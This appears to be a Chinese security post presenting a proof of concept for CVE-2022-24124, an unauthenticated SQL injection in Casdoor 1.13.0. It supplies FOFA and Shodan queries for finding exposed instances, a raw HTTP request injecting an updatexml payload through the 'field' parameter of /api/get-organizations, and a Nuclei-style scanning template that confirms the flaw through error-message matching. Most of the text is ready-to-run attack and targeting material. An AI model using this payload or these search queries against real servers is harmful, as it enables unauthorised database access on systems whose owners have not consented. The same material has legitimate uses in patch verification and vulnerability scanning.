【1day】Casdoor单点登录系统SQL注入CVE-2022-24124【附POC】

fofa：title="Casdoor"

GET /api/get-organizations?p=123&pageSize=123&value=cfx&sortField&sortOrder&field=updatexml(null,version(),null) HTTP/1.1 Host: {hostname} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1

id: CVE-2022-24124
info:  name: Casdoor 1.13.0 - Unauthenticated SQL Injection  author: cckuailong  severity: high  description: Casdoor version 1.13.0 suffers from a remote unauthenticated SQL injection vulnerability via the query API in Casdoor before 1.13.1 related to the field and value parameters, as demonstrated by api/get-organizations.  remediation: |    Upgrade to a patched version of Casdoor or apply the necessary security patches to mitigate the SQL injection vulnerability.  reference:    - https://packetstormsecurity.com/files/166163/Casdoor-1.13.0-SQL-Injection.html    - https://www.exploit-db.com/exploits/50792    - https://github.com/cckuailong/reapoc/tree/main/2022/CVE-2022-24124/vultarget    - https://nvd.nist.gov/vuln/detail/CVE-2022-24124    - https://github.com/casdoor/casdoor/compare/v1.13.0...v1.13.1  classification:    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N    cvss-score: 7.5    cve-id: CVE-2022-24124    cwe-id: CWE-89    epss-score: 0.01169    epss-percentile: 0.83341    cpe: cpe:2.3:a:casbin:casdoor:*:*:*:*:*:*:*:*  metadata:    max-request: 1    vendor: casbin    product: "casdoor"    shodan-query: http.title:"Casdoor"  tags: sqli,unauth,packetstorm,edb,cve,cve2022,casdoor
http:  - method: GET    path:      - "{{BaseURL}}/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(1,version(),1)"
    matchers-condition: and    matchers:      - type: regex        part: body        regex:          - "XPATH syntax error.*&#39"          - "casdoor"        condition: and
      - type: status        status:          - 200# digest: 4a0a0047304502206fbfbe0849f11ab4312533d7d23b42fbb2dd9bd1e9a36b6f20c0579e54a088a5022100a422ef18ddfd6b06b2c60991dfacadf3d1f8e866e9ad549e930da0c1df004f1d:922c64590222798bb761d5b6d8e72950